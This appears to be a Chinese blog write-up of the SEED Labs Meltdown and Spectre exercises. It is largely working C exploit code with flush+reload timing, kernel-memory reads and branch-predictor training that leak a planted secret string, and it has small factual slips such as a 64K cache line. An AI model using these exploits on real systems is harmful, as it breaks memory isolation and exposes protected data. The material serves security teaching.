SEEDLabs Meltdown & Spectre

SEEDLabs Meltdown & Spectre

实验原理

现代 CPU 常常使用乱序执行以提高并行度。例如在遇到分支时采用分支预测的办法,使得同一时刻在 CPU 内执行的指令可以跨过 CFG 的结点。但在错误恢复时,在之前的 CPU 设计中并没有考虑到 Cache 内容的恢复问题,因此即使是一些没有访问权限的数据也会被缓存至 Cache 中。

攻击者可以利用这一特性作为 Side Channel,以无访问权限的数据作为下标访问某一数组,最终通过数组数据是否被 Cache 来判断数据的内容。这一攻击在硬件层面破坏了 inter-process 和 intra-process 的隔离机制,达到了任意读的效果。

6.1 Meltdown

Task 1 和 Task 2 同 Spectre 实验

Task 3

实验目标:在内核中插入 secret

实验方案

  • 通过 printk() 将 secret 所在地址打印在内核消息缓冲区中,之后我们就可以通过 dmsg 指令获得 secret 的地址;
  • 通过 proc_create_data() 设置一个入口 /proc/secret_data ,这样当用户从这个入口读取时,secret 就会被 Cache

实验步骤

① 编译并运行 MeltdownKernel.ko

// MeltdownKernel.c
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/vmalloc.h>
#include <linux/version.h>
#include <linux/proc_fs.h>
#include <linux/seq_file.h>
#include <linux/uaccess.h>

static char secret[8] = {'S','E','E','D','L','a','b','s'};
static struct proc_dir_entry *secret_entry;
static char* secret_buffer;

static int test_proc_open(struct inode *inode, struct file *file)
{
#if LINUX_VERSION_CODE <= KERNEL_VERSION(4,0,0)
   return single_open(file, NULL, PDE(inode)->data);
#else
   return single_open(file, NULL, PDE_DATA(inode));
#endif
}

static ssize_t read_proc(struct file *filp, char *buffer, 
                         size_t length, loff_t *offset)
{
   memcpy(secret_buffer, &secret, 8);              
   return 8;
}

static const struct file_operations test_proc_fops =
{
   .owner = THIS_MODULE,
   .open = test_proc_open,
   .read = read_proc,
   .llseek = seq_lseek,
   .release = single_release,
};

static __init int test_proc_init(void)
{
   // write message in kernel message buffer
   printk("secret data address:%p\n", &secret);      

   secret_buffer = (char*)vmalloc(8);

   // create data entry in /proc
   secret_entry = proc_create_data("secret_data", 
                  0444, NULL, &test_proc_fops, NULL);
   if (secret_entry) return 0;

   return -ENOMEM;
}

static __exit void test_proc_cleanup(void)
{
   remove_proc_entry("secret_data", NULL);
}

module_init(test_proc_init);
module_exit(test_proc_cleanup);
$ make
$ sudo insmod MeltdownKernel.ko

② 通过 dmesg 查询 secret 所在地址,为 0xf90d2000

$ dmesg | grep 'secret data address'

请添加图片描述

Task 4

实验目标:尝试在用户空间中直接访问 secret

实验步骤:使用 Task3 中获得的地址,编写如下程序:

// Task4.c
#include <stdio.h>

int main () {
	char* kernel_data_addr = (char*)0xf90d2000;
	char kenel_data = *kernel_data_addr;
	printf("I have reached here.\n");
	return 0;
}

编译并运行,观察到报了 Segmentation Fault,即无法直接访问:

请添加图片描述

Task 5

实验目标:在 C 中实现异常处理

实验方案:通过以下函数的配合可以写出 C 语言的类 try-catch 机制:

  • signal(SIGSEGV, handler) 为信号 SIGSEGV 设置处理函数 handler ,当发生 Segmentation Fault 时,就会调用 handler

  • 函数 sigsetjump(jbuf, 1) 将当前寄存器的值存入 jbuf

  • 函数 siglongjump(jbuf, 1)jbuf 中恢复寄存器的值,并且将寄存器 %eax 的值设为 1

实验步骤:使用 Task3 中获得的地址,修改并运行 ExceptionHandling.c

// ExceptionHandling.c
#include <stdio.h>
#include <setjmp.h>
#include <signal.h>

static sigjmp_buf jbuf;
static void catch_segv() {
  // Roll back to the checkpoint set by sigsetjmp().
  siglongjmp(jbuf, 1);                         
}

int main() { 
  // The address of our secret data
  unsigned long kernel_data_addr = 0xf90d2000;
  // Register a signal handler
  signal(SIGSEGV, catch_segv);                     
  if (sigsetjmp(jbuf, 1) == 0) {                
     // A SIGSEGV signal will be raised. 
     char kernel_data = *(char*)kernel_data_addr; 
     // The following statement will not be executed.
     printf("Kernel data at address %lu is: %c\n", 
                    kernel_data_addr, kernel_data);
  } else {
     printf("Memory access violation!\n");
  }
  printf("Program continues to execute.\n");
  return 0;
}

$ gcc -o ExceptionHandling ExceptionHandling.c
$ ./ExceptionHandling

观察输出结果为:即使发生了 Segmentation Fault,程序还能继续往下运行
请添加图片描述

Task 6

实验目标:观察 CPU 的乱序执行

实验方案

  • 首先将数组元素移出 Cache;
  • 尝试访问 Task3 中获得的 secret 地址,并用 Task5 中的异常处理保护起来;
  • 最后检测数组中哪些元素被 Cache,就可以得到被访问过的数据。

实验步骤:使用 Task3 中获得的地址,修改并运行 MeltdownExperiment.c

// MeltdownExperiment.c
... // same header files 
... // flush and reload functions

void meltdown(unsigned long kernel_data_addr) {
  char kernel_data = 0;
  // The following statement will cause an exception
  kernel_data = *(char*)kernel_data_addr;     
  array[7 * 4096 + DELTA] += 1;          
}

// signal handler
static sigjmp_buf jbuf;
static void catch_segv() {
  siglongjmp(jbuf, 1);
}

int main() { 
  signal(SIGSEGV, catch_segv);	// Register a signal handler
  flushSideChannel();	// FLUSH the probing array
    
  if (sigsetjmp(jbuf, 1) == 0) {
     meltdown(0xf90d2000);                
  } else {
      printf("Memory access violation!\n");
  }

  reloadSideChannel();	// RELOAD the probing array            
  return 0;
}

$ gcc -o MeltdownExperiment -march=native MeltdownExperiment.c
./MeltdownExperiment

观察输出结果为:下标 7 被访问过,符合实验预期

请添加图片描述

Task 7.1

实验目标:简单地使用 MeltdownExperiment.c 访问 secret

实验步骤:将 Task6 中的 MeltdownExperiment.c 修改为:不再访问下标 7,而是以 kernel_data 作为下标

// MeltdownExperiment.c
void meltdown(unsigned long kernel_data_addr) {
  char kernel_data = 0;
  // The following statement will cause an exception
  kernel_data = *(char*)kernel_data_addr;     
  array[kernel_data * 4096 + DELTA] += 1;          
}
$ gcc -o MeltdownExperiment -march=native MeltdownExperiment.c
./MeltdownExperiment

重复 Task6,观察到多次攻击都无法成功:

请添加图片描述

Task 7.2

实验目标:提前 Cache secret 以增大成功几率

实验方案: Task7.1 中 secret 并未被 Cache,导致访问速度变慢,在访问成功之前就被检查出越界访问了,因此无法成功。我们可以使用 Task3 中创建的 entry 来访问 secret,使得其被 Cache。

实验步骤:向 MeltdownExperiment.c 中添加对 secret 的访问:

// MeltdownExperiment.c
int main() {
  // Register a signal handler
  signal(SIGSEGV, catch_segv);
  int fd = open("/proc/secret_data", O_RDONLY);
  if (fd < 0) {
  	perror("open");
  	return -1;
  }
  // FLUSH the probing array
  flushSideChannel();
  int ret = pread(fd, NULL, 0, 0);
  if (sigsetjmp(jbuf, 1) == 0) {
     meltdown(0xf90d2000);                
  } else {
      printf("Memory access violation!\n");
  }
  // RELOAD the probing array
  reloadSideChannel();                     
  return 0;
}
$ gcc -o MeltdownExperiment -march=native MeltdownExperiment.c
./MeltdownExperiment

观察到成功率相较于 Task7.1 中有所提升:

请添加图片描述

Task 7.3

实验目标:增加汇编代码,减慢权限检查速度

实验方案:在访问 secret 前增加了一些无用的计算以占满 CPU 的 ALU,这样就可以减慢权限检查的速度。

实验步骤:改写 MeltdownExperiment.c 中的 meltdown() 函数:

// MeltdownExperiment.c
...
void meltdown_asm(unsigned long kernel_data_addr) {
   char kernel_data = 0;
   // Give eax register something to do
   asm volatile(
       ".rept 400;"                
       "add $0x141, %%eax;"
       ".endr;"                    
    
       :
       :
       : "eax"
   ); 
   // The following statement will cause an exception
   kernel_data = *(char*)kernel_data_addr;  
   array[kernel_data * 4096 + DELTA] += 1;           
}

int main() {
  ...
  if (sigsetjmp(jbuf, 1) == 0) {
     meltdown_asm(0xf90d2000);                
  } else {
      printf("Memory access violation!\n");
  }
  ...
  return 0;
}

$ gcc -o MeltdownExperiment -march=native MeltdownExperiment.c
./MeltdownExperiment

观察到成功率相较于 Task7.2 中有所提升:

请添加图片描述

Task 8

实验目标:通过多次攻击,以投票计数的方式提升正确率;获取整个 secret

实验方案:重复执行以上攻击 1000 次,用数组 score[] 统计每个下标的分数,选择投票数最高的下标作为最终的 secret 的值;循环执行以上步骤得到所有 secret 值

实验步骤

① 首先用之前的到的 CPU 访存速度的阈值和 secret 的地址,改写并运行 MeltdownAttack.c

// MeltdownAttack.c
...// same header files
/*********************** Flush + Reload ************************/
uint8_t array[256*4096];
/* cache hit time threshold assumed*/
#define CACHE_HIT_THRESHOLD (200)
#define DELTA 1024

...// flush and reload functions
...// funciton meltdown_asm()
...// signal handler

int main() {
  int i, j, ret = 0;
  ...
  // Retry 1000 times on the same address.
  for (i = 0; i < 1000; i++) {
	ret = pread(fd, NULL, 0, 0);
	if (ret < 0) {
	  perror("pread");
	  break;
	}
	// Flush the probing array
	for (j = 0; j < 256; j++) 
		_mm_clflush(&array[j * 4096 + DELTA]);
	if (sigsetjmp(jbuf, 1) == 0) { meltdown_asm(0xf90d2000); }
	reloadSideChannelImproved();
  }
  // Find the index with the highest score.
  int max = 0;
  for (i = 0; i < 256; i++) {
	if (scores[max] < scores[i]) max = i;
  }
  printf("The secret value is %d %c\n", max, max);
  printf("The number of hits is %d\n", scores[max]);

  return 0;
}
$ gcc -o MeltdownAttack -march=native MeltdownAttack.c
./MeltdownAttack

观察到可以读取 secret 的第一个字符 'S'
请添加图片描述

② 接着改写 MeltdownAttack.c ,循环攻击的过程,每次访问 secret_addr + i ,即访问 secret 中下标为 i 的字符:

// MeltdownAttack.c
...
int main() {
    char secret_buf[8];
    for (int k = 0; k < 8; ++k) {
        ...
        if (sigsetjmp(jbuf, 1) == 0) { meltdown_asm(0xf90d2000+k); }
        ...	// Meltdown attack
            // Find the index with the highest score.
        int max = 0;
        for (i = 0; i < 256; i++) {
            if (scores[max] < scores[i]) max = i;
        }
        secret_buf[k] = max;
        printf("The secret value is %d %c\n", max, max);
        printf("The number of hits is %d\n", scores[max]);
    }
    for (int k = 0; k < 8; ++k) {
        printf("%c", secret_buf[k]);
    }
    printf("\n");
    return 0;
}

可以成功获取整个字符串:

请添加图片描述

6.2 Spectre

Task 1

实验目标:比较从 Cache 中读取数据和访存的速度差别

实验方案

  • _mm_clflush(addr) 函数可以建议刷新某个缓存行,可能是仅仅刷新 L1 Cache,也可能是刷新所有 Cache,也有可能不刷新;
  • X86 的内置函数 __rdtscp(addr),用于读取当前 CPU 的的时间戳(以周期数为单位);将 __rdtscp(addr) 放置在我们想要检测时间的代码两段,相当于加上了 fence;
  • 由于每个 Cache line 的长度在 Intel CPU 下为 64K,因此我们选择读取的数据间隔应当大于 64K

实验步骤

① 运行 CacheTime.c 若干次,观察实验现象:

// CacheTime.c
#include <emmintrin.h>
#include <x86intrin.h>
#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>

uint8_t array[10*4096];

int main(int argc, const char **argv) {
  int junk=0;
  register uint64_t time1, time2;
  volatile uint8_t *addr;
  int i;
  // Initialize the array
  for(i=0; i<10; i++) array[i*4096]=1;
  // FLUSH the array from the CPU cache
  for(i=0; i<10; i++) _mm_clflush(&array[i*4096]);
  // Access some of the array items
  array[3*4096] = 100;
  array[7*4096] = 200;
  for(i=0; i<10; i++) {
    addr = &array[i*4096];
    time1 = __rdtscp(&junk);   junk = *addr;
    time2 = __rdtscp(&junk) - time1;  
    printf("Access time for array[%d*4096]: %d CPU cycles\n",i, (int)time2);
  }
  return 0; 
}

在 Ubuntu 16.04 上编译该程序时需要加上选项 -march=native 来告诉 gcc 按照当前 CPU 的架构进行编译,这样才能使用上面提到的 __rdtscp(addr) 函数:

$ gcc -o CacheTime -march=native CacheTime.c
./CacheTime

② 观察到下标 3 和 7 的访问速度明显更快;经过反复试验,得到访问 Cache 和访存的周期数阈值大概在 200:

请添加图片描述

Task 2

实验目标:使用 Cache 作为 Side Channel 读取数据

实验方案:采用 Flush-Reload 方法:首先将数组元素移出 Cache,再将带读取数据作为下标访问数组 array[256*4096] ,最终检测数组元素中访问速度较快的即为被读取的数据

实验步骤

① 使用 Task1 中得到的阈值 200 个周期,运行 FlushReload.c 若干次:

// FlushReload.c
... // same header files

uint8_t array[256*4096];
int temp;
unsigned char secret = 94;
/* cache hit time threshold assumed*/
#define CACHE_HIT_THRESHOLD (200)
#define DELTA 1024

void victim()
{
  temp = array[secret*4096 + DELTA];
}
void flushSideChannel()
{
  int i;
  // Write to array to bring it to RAM to prevent Copy-on-write
  for (i = 0; i < 256; i++) array[i*4096 + DELTA] = 1;
  //flush the values of the array from cache
  for (i = 0; i < 256; i++) _mm_clflush(&array[i*4096 +DELTA]);
}

void reloadSideChannel()
{
  int junk=0;
  register uint64_t time1, time2;
  volatile uint8_t *addr;
  int i;
  for(i = 0; i < 256; i++){
   addr = &array[i*4096 + DELTA];
   time1 = __rdtscp(&junk);
   junk = *addr;
   time2 = __rdtscp(&junk) - time1;
   if (time2 <= CACHE_HIT_THRESHOLD){
	printf("array[%d*4096 + %d] is in cache.\n", i, DELTA);
        printf("The Secret = %d.\n",i);
   }
  } 
}

int main(int argc, const char **argv)
{
  flushSideChannel();
  victim();
  reloadSideChannel();
  return (0);
}
$ gcc -o FlushReload -march=native FlushReload.c
./FlushReload

② 观察到 secret 为 94,符合预期:

请添加图片描述

Task 3

实验目标:观察 CPU 的乱序执行和分支预测

实验方案

在 victim 中包含以下代码:

if (x < size) {
    temp = array[x * 4096 + DELTA];
}
  • 首先将数组元素移出 Cache;
  • 接着训练该分支预测,让其总是通过;
  • 之后在为 x 传入一个大于等于 size 的值。由于 CPU 的分支预测记录,很大可能会预先执行 temp = array[x * 4096 + DELTA] ,即 array[x * 4096 + DELTA] 被缓存到 Cache 中,回滚时不会恢复;
  • 最后检测数组中哪些元素被 Cache,就可以得到之前传入的非法值。

为了减慢范围检查的速度,还可以将 size 也移出 Cache。

实验步骤

① 使用 Task1 中得到的阈值 200 个周期,运行 SpectreExperiment.c

// SpectreExperiment.c
... // same header files
#define CACHE_HIT_THRESHOLD (200)
#define DELTA 1024

int size = 10;
uint8_t array[256*4096];
uint8_t temp = 0;

...	// flush and reload functions

void victim(size_t x)
{
  if (x < size) {  
      temp = array[x * 4096 + DELTA];  
  }
}

int main() {
  int i;
  flushSideChannel();	// FLUSH the probing array
  // Train the CPU to take the true branch inside victim()
  for (i = 0; i < 10; i++) {   
      victim(i);		// ①
  }

  // Exploit the out-of-order execution
  _mm_clflush(&size);	// ②
  for (i = 0; i < 256; i++)
      _mm_clflush(&array[i*4096 + DELTA]); 
  victim(97); 
    
  reloadSideChannel();	// RELOAD the probing array
  return (0); 
}

$ gcc -o SpectreExperiment -march=native SpectreExperiment.c
./SpectreExperiment

观察到 secret 为 97,符合实验预期:

请添加图片描述

② 将程序中 ① 标注的位置改为 victim[i + 20] ,使得训练分支预测预测为不通过,观察到不能读取到 secret:

请添加图片描述

③ 将程序中 ② 标注的位置注释掉,即不刷新 Cache 中的 size ,使得判断是否越界的速度加快,观察到读取 secret 的概率大大降低:

请添加图片描述

Task 4

实验目标:模拟 Sepectre 攻击

实验方案

栈上布局如下:

请添加图片描述

使用 Task3 中的方法,首先训练分支预测器,使其任我我们访问的总是在 buffer 的范围内;接着输入一个访问到 secret 部分的下标,则对应数据会被 Cache。

为了减慢数组下标越界的判断,可以将上下界 bound_upperbound_lower 都移出 Cache。

实验步骤

① 使用 Task1 中得到的阈值 200 个周期,运行 SpectreAttack.c

... // same header files

unsigned int bound_lower = 0;
unsigned int bound_upper = 9;
uint8_t buffer[10] = {0,1,2,3,4,5,6,7,8,9}; 
char    *secret    = "Some Secret Value";   
uint8_t array[256*4096];

#define CACHE_HIT_THRESHOLD (200)
#define DELTA 1024

// Sandbox Function
uint8_t restrictedAccess(size_t x)
{
  if (x <= bound_upper && x >= bound_lower) {
     return buffer[x];
  } else {
     return 0;
  } 
}

... // flush and reload functions

void spectreAttack(size_t index_beyond)
{
  int i;
  uint8_t s;
  volatile int z;
  // Train the CPU to take the true branch inside restrictedAccess().
  for (i = 0; i < 10; i++) { 
      restrictedAccess(i); 
  }
  // Flush bound_upper, bound_lower, and array[] from the cache.
  _mm_clflush(&bound_upper);
  _mm_clflush(&bound_lower);
  for (i = 0; i < 256; i++)  { _mm_clflush(&array[i*4096 + DELTA]); }
  for (z = 0; z < 100; z++)  {   }
  // Ask restrictedAccess() to return the secret in out-of-order execution. 
  s = restrictedAccess(index_beyond);  
  array[s*4096 + DELTA] += 88;  
}

int main() {
  flushSideChannel();
  size_t index_beyond = (size_t)(secret - (char*)buffer);  
  printf("secret: %p \n", secret);
  printf("buffer: %p \n", buffer);
  printf("index of secret (out of bound): %ld \n", index_beyond);
  spectreAttack(index_beyond);
  reloadSideChannel();
  return (0);
}

$ gcc -o SpectreAttack -march=native SpectreAttack.c
./SpectreAttack

观察到读取了 secret=“Some Secret Value” 的第一个字符 'S'

请添加图片描述

② 更改 index_beyond=(secret-(char*)buffer+i) ,就可以读取到 Secret 下标为 i 的字符:

int main() {
  flushSideChannel();
  size_t index_beyond = (size_t)(secret - (char*)buffer + 12);  
  printf("secret: %p \n", secret);
  printf("buffer: %p \n", buffer);
  printf("index of secret (out of bound): %ld \n", index_beyond);
  spectreAttack(index_beyond);
  reloadSideChannel();
  return (0);
}

观察到下标 86 被 Cache,而 secret[12] 确实是字符 'V'

请添加图片描述

Task 5

实验目标:通过多次攻击,以投票计数的方式提升正确率

实验方案

重复执行以上攻击 1000 次,用数组 score[] 统计每个下标的分数,选择投票数最高的下标作为最终的 secret 的值

  • 为了提高正确率,降低了 CPU 周期数的阈值到 180 个周期

  • 为了防止数组头部的指针被缓存,因此将所有下标向前平移了一个页, DELTA 改为 5120;同时需要扩大数组 array 的范围

实验步骤

① 运行 SpectreAttackImproved.c

// SpectreAttackImproved.c
... // same header files


unsigned int bound_lower = 0;
unsigned int bound_upper = 9;
uint8_t buffer[10] = {0,1,2,3,4,5,6,7,8,9}; 
uint8_t temp    = 0;
char    *secret = "Some Secret Value";   
uint8_t array[260*4096];

#define CACHE_HIT_THRESHOLD (180)
#define DELTA (5120)

// Sandbox Function
uint8_t restrictedAccess(size_t x)
{
  if (x <= bound_upper && x >= bound_lower) {
     return buffer[x];
  } else {
     return 0;
  }
}
... // flush and reload functions   
void spectreAttack(size_t index_beyond)
{
  int i;
  uint8_t s;
  volatile int z;

  for (i = -1; i < 260; i++)  { _mm_clflush(&array[i*4096 + DELTA]); }

  // Train the CPU to take the true branch inside victim().
  for (i = 0; i < 10; i++) {
    restrictedAccess(i);  
  }

  // Flush bound_upper, bound_lower, and array[] from the cache.
  _mm_clflush(&bound_upper);
  _mm_clflush(&bound_lower); 
  for (i = -1; i < 260; i++)  { _mm_clflush(&array[i*4096 + DELTA]); }
  for (z = 0; z < 100; z++)  {  }
  // Ask victim() to return the secret in out-of-order execution.
  s = restrictedAccess(index_beyond);
  array[s*4096 + DELTA] += 88;
}

int main() {
  int i;
  uint8_t s;
  size_t index_beyond = (size_t)(secret - (char*)buffer);

  flushSideChannel();
  for(i=0;i<256; i++) scores[i]=0; 

  for (i = 0; i < 1000; i++) {
    printf("*****\n");
    spectreAttack(index_beyond);
    usleep(10);
    reloadSideChannelImproved();
  }

  int max = 0;
  for (i = 0; i < 256; i++){
    if(scores[max] < scores[i]) max = i;
  }

  printf("Reading secret value at index %ld\n", index_beyond);
  printf("The secret value is %d(%c)\n", max, max);
  printf("The number of hits is %d\n", scores[max]);
  return (0); 
}

$ gcc -o SpectreAttackImproved -march=native SpectreAttackImproved.c
./SpectreAttackImproved

观察到总是 0 的投票率最高:

请添加图片描述

② 将所有投票打印出来用于 debug,发现目标值确实有出现,但是票数很少:

// SpectreAttackImproved.c
...
int main() {
    ...
    for (i = 0; i < 256; i++){
        if (scores[i] > 0)
       	    printf("%d: %d  ", i, scores[i]);
        if(scores[max] < scores[i]) max = i;
    }
}

请添加图片描述

后经老师提醒,有可能是反复攻击时分支预测器保存了一些不通过的记录,也有可能是刷新 Cache 不彻底,因此并不是每次攻击都能够保证在越界访问检查完前访问 array[s*4096+DELTA] 。而一旦提前被检查出了越界访问,则函数 restrictedAccess 返回值为 0,则自然 0 的投票数最高。

③ 解决方案为,修改函数 restrictedAccess 返回值为 0-255 之外的值。因为一个字节的取值范围为 0-255 ,则这个范围外的值可以认为是无效的。

之前一些数据为了防止溢出,类型都是 uint8_t (一个字节的无符号整数),我这里都改为 int ,修改函数 restrictedAccess 返回值为 -1 。由于 DELTA 大于 4096,因此即使是 -1 也能保证 array[-1*4096+DELTA] 不会越界:

// SpectreAttackImproved.c
...
// Sandbox Function
int restrictedAccess(size_t x)
{
  if (x <= bound_upper && x >= bound_lower) {
     return buffer[x];
  } else {
     return -1;
  }
}
void spectreAttack(size_t index_beyond)
{
  int s;
  ...
  s = restrictedAccess(index_beyond);
  array[s*4096 + DELTA] += 88;
}
...

结果可以获取正确的值:

请添加图片描述

Task 6

实验目标:获取整个 secret 字符串的值

实验步骤:将 Task5 中的攻击改写为循环即可:

// SpectreAttackImproved.c
...
int main() {
    char result[17];
    for (j = 0; j < 17; ++j) {
        size_t index_beyond = (size_t)(secret - (char*)buffer + j);
        ...
    }
    for (j = 0; j < 17; ++j)
        printf("%c", result[j]);
    printf("\n");
    return (0); 
}

可以成功获取整个字符串:

请添加图片描述

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Air浩瀚

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值